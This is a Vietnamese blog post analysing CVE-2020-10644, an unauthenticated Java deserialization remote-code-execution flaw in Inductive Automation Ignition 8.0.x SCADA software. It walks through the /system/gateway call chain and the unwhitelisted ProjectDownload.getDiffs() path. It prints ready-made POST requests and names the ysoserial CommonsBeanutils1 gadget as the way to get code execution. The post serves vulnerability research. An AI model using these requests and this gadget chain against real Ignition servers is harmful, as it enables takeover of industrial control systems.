- vừa được xem lúc

Phân tích CVE-2020-10644 - Inductive Automation Ignition RCE

0 0 15

Người đăng: Minh Tuấn Ngụy

Theo Viblo Asia

Vào một buổi chiều, em teammate @lengocanh có rủ mình phân tích một vài CVE của Inductive Automation Ignition. Ở đây mình chọn một CVE phân tích khá đơn giản là CVE-2020-10644 để khởi đầu chuỗi series phân tích các lỗ hổng của Inductive Automation Ignition. Đây là lỗ hổng được team Flashback tìm ra và đem tham dự Pwn2Own Miami 2020 vào tháng 1/2020. Lỗ hổng này cho phép attacker có thể RCE unauthen đến server đang chạy Inductive Automation Ignition từ phiên bản 8.0.0 đến 8.0.7.

Setup debug

Việc setup diễn ra rất đơn giản, chỉ cần cài đặt phiên bản có lỗ hổng (ở đây mình chọn phiên bản 8.0.7) để setup debug thôi. https://inductiveautomation.com/downloads/archive/8.0.7

Mình sử dụng Windows để setup nên download bộ cài này rồi cài vào thôi
https://files.inductiveautomation.com/release/ia/build8.0.7/20191220-1439/Ignition-8.0.7-windows-x64-installer.exe

Ở đây chương trình sử dụng wrapper deploy nên debug khá dễ dàng, chúng ta chỉ cần chỉnh sửa một chút ở file ignition.conf trong C:\Program Files\Inductive Automation\Ignition\data là được

Bỏ commend dòng này là oke. Debug port tại 8000

wrapper.java.additional.3=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000

Sau đó chỉ cần stop rồi start lại Ignition là xong

Kéo toàn bộ file .jar ra ngoài rồi import vào trong Intellij để debug

Phân tích CVE-2020-10644

CVE này được mô tả rằng

Cấu hình mặc định có thể bị khai thác bởi kẻ tấn công chưa được xác thực, có thể đạt được việc thực thi mã từ xa dưới dạng SYSTEM trên cài đặt Windows hoặc root trong Linux

Việc khai thác để được RCE thì chúng ta cần đi qua 3 yếu tố

  • Truy cập chưa được xác thực vào tài nguyên nhạy cảm
  • Java Deserialization không an toàn
  • Sử dụng thư viện Java không an toàn

Ignition lắng nghe trên một số lượng lớn cổng TCP và UDP, vì nó phải xử lý một số giao thức SCADA và chức năng của chính nó. Các cổng chính là TCP 8088 và TCP/TLS 8043, được sử dụng để điều khiển máy chủ quản trị thông qua HTTP(S), cũng như xử lý giao tiếp giữa các thành phần khác nhau của Ignition.

Có một số endpoint API đang lắng nghe trên cổng đó, nhưng endpoint được sử dụng để exploit này là tại /system/gateway. Endpoint API này cho phép người dùng có thể gọi hàm từ xa, tuy nhiên chỉ một số ít hàm được gọi bởi người dùng chưa được xác thực (Login.designer() là một trong số đó). Nó giao tiếp với các client bằng cách sử dụng XML chứa các đối tượng Java được serialized trong đó, và code của nó đặt trong class com.inductiveautomation.ignition.gateway.servlets.Gateway

POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 845 <?xml version="1.0" encoding="UTF-8"?>
<requestwrapper> <version>1184437744</version> <scope>2</scope> <message> <messagetype>199</messagetype> <messagebody> <arg name="funcId"><![CDATA[Login]]></arg> <arg name="subFunction"><![CDATA[designer]]></arg> <arg name="arg" index="0"><![CDATA[H4sIAAAAAAAAAFvzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinFMMnQyDApMdnEyCzJyDhVSUepILG4uDy/KAWXiloAvpMDvEwAAAA=]]></arg> <arg name="arg" index="1"><![CDATA[H4sIAAAAAAAAAFvzloG1uIhBMCuxLFEvJzEvXc8zryQ1PbVI6NGCJd8b2y2YGBg9GVjLEnNKUyuKGAQQ6vxKc5NSi9rWTJXlnvKgm4mBoaKgItLQAACH6ksSUQAAAA==]]></arg> <arg name="arg" index="2"><![CDATA[H4sIAAAAAAAAAFvzloG1hIHXtbQovyBV3yc/LyU/DwDHsV9XFAAAAA==]]></arg> <arg name="arg" index="3"><![CDATA[H4sIAAAAAAAAAFvzloG1hIHfxTXYO8Q/QNc/MDDE1MkYAOTFO60WAAAA]]></arg> </messagebody> </message> <locale> <l>en</l> <c>GB</c> <v></v> </locale>
</requestwrapper>

Vậy tại sao nó có thể gọi được hàm Login.designer()

Request chứa các đối tượng Java được serialized truyền vào các hàm có thể được gọi từ xa. Ví dụ request trên cho thấy chúng ta có thể gọi đến hàm designer() của class com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login với 4 args.

Call stack trước khi chúng ta đến Login.designer() như sau:

com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()

Trước mỗi function có thể được gọi thông qua endpoint /system/gateway chúng ta có thể thấy đoạn @GatewayFunction

Đoạn code @GatewayFunction là một annotation trong Java, được sử dụng để xác định rằng phương thức được chú thích với annotation này là một gateway function.

Trong Automation Ignition, các gateway function là các phương thức được gọi từ các module khác nhau trên gateway để thực hiện các tác vụ như đọc và ghi dữ liệu, xử lý logic, kết nối với các thiết bị và hệ thống khác.

Khi một phương thức được đánh dấu với annotation @GatewayFunction, nó sẽ được đăng ký với hệ thống gateway và có thể được gọi bởi các module khác trên cùng một gateway hoặc từ các gateway khác trong mạng lưới.

Annotation @GatewayFunction cũng cung cấp các thông tin cho hệ thống về các tham số đầu vào và đầu ra của phương thức, cũng như tên và mô tả của gateway function.

Trở lại với com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost() Gateway.doPost() thực hiện check version và check một vài cái khác, sau đó gửi yêu cầu tới AbstractGatewayFunction.invoke(), yêu cầu này sẽ phân tích cú pháp và xác thực yêu cầu đó trước khi gọi Login.designer()

AbstractGatewayFunction.invoke() thực hiện các công việc sau:

  1. Phân tích request nhận được
  2. Xác định function cần được gọi
  3. Check function args
    • Đảm bảo rằng function args là an toàn để decode
    • Đảm bảo số lượng args phù hợp với function đích
  4. Thực hiện gọi function với các args đã được decode
  5. Thực hiện gửi response trả lại client

Tuy nhiên, chỉ có thể gọi được những function nào được đánh dấu là 1 annotation với @GatewayFunction

Ta thấy tại AbstractGatewayFunction.invoke() có thực hiện decode args, sử dụng hàm decodeToObjectFragile() và thực hiện truyền classWhitelist với giá trị được lấy từ

classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST);

Bên trong hàm sử dụng SaferObjectInputStream với Whitelist bên dưới, chúng ta không thể tấn công trực tiếp vào đây được mà cần phải thực hiện đi đường vòng khác.

public static final Set<Class<?>> DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class});
private final Set<String> whitelist; public SaferObjectInputStream(InputStream in) throws IOException { this(in, DEFAULT_WHITELIST);
}

Nhưng, nếu chúng ta kiếm được hàm nào gọi decodeToObjectFragile() nhưng không thực hiện truyền class whiteList, chúng ta hoàn toàn có thể tấn công vào đây.

Insecure Java Deserialization

Do AbstractGatewayFunction.invoke() có thể gọi được những function nào được đánh dấu là 1 annotation. Vậy chỉ cần tìm thêm điều kiện hàm đó sử dụng decodeToObjectFragile() không truyền thêm classWhitelist là được.

Cũng may mắn có function như thế, thỏa mãn điều kiện nêu trên
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload.getDiffs()

Gửi request như sau và hit break point

POST /system/gateway HTTP/1.1
Host: 172.17.120.70
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 623 <?xml version="1.0" encoding="UTF-8"?>
<requestwrapper> <version>1184437744</version> <scope>2</scope> <message> <messagetype>199</messagetype> <messagebody> <arg name="funcId"><![CDATA[ProjectDownload]]></arg> <arg name="subFunction"><![CDATA[getDiffs]]></arg> <arg name="arg" index="0"><![CDATA[H4sIAAAAAAAAAFvzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinFMMnQyDApMdnEyCzJyDhVSUepILG4uDy/KAWXiloAvpMDvEwAAAA=]]></arg> </messagebody> </message> <locale> <l>en</l> <c>GB</c> <v></v> </locale>
</requestwrapper>

Tóm lại, chain sẽ như thế này

com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
👇️
com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()
👇️
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload.getDiffs()
👇️
com.inductiveautomation.ignition.common.Base64.decodeToObjectFragile()
👇️
((ObjectInputStream)ois).readObject()

May thay phiên bản này có commons-beanutils-1.9.2.jar trong lib, chúng ta có thể sử dụng ysoserial với CommonsBeanutils1, encode base64 rồi truyền vào arg request bên trên, là có thể RCE

Tham khảo

Bình luận

Bài viết tương tự

- vừa được xem lúc

Linux Hardening and System Auditing (P1)

. Ngày nay, các hệ thống Linux được sử dụng trong suốt quá trình tính toán, từ các hệ thống nhúng đến hầu như tất cả các siêu máy tính, đồng thời đảm bảo một vị trí quan trọng trong các hệ thống máy chủ trên toàn thế giới. Linux đem lại cho người dùng khả năng tùy biến cao, sự ổn định và độ tin cậy

0 0 32

- vừa được xem lúc

Tìm bug với Eyewitness

. Chào các bạn, trong bài này mình sẽ viết về tool Eyewitness. Eyewiteness có tính năng chính là chụp hình lại giao diện trang web sau đó tạo một report thông qua file .

0 0 24

- vừa được xem lúc

Tôi đã debug code PHP như nào!

. Nhân dịp đầu xuân năm mới, mình xin gửi lời chúc an lành tới tất cả thành viên của viblo.asia.

0 0 46

- vừa được xem lúc

OAuth 2.0 và vài vấn đề bảo mật liên quan (Phần 2)

III. Demo một số tấn công vào cơ chế OAuth. Trong phần này mình sẽ demo một số kiểu tấn công của OAuth dựa trên các bài lab được thiết kế bởi Portswigger. a.

0 0 85

- vừa được xem lúc

OAuth 2.0 và vài vấn đề bảo mật liên quan (Phần 1)

Trong thời đại công nghệ ngày nay, việc đăng nhập bằng các tài khoản của các nền tảng khác không phải điều gì xa lạ đối với mỗi người dùng chúng ta. Việc này khả thi nhờ một vài cơ chế khác nhau, một trong số đó là OAuth 2.

0 0 40

- vừa được xem lúc

Hành trình pass OSCP trong lần thi đầu tiên (2020)

Vào một chiều đông 17/12/2020, tôi nhận được cái email thông báo đã pass OSCP ngay lần thử đầu tiên. Sau đó, tôi bắt đầu tìm hiểu về Security và quyết định học cái gì đó cho riêng mình.

0 0 180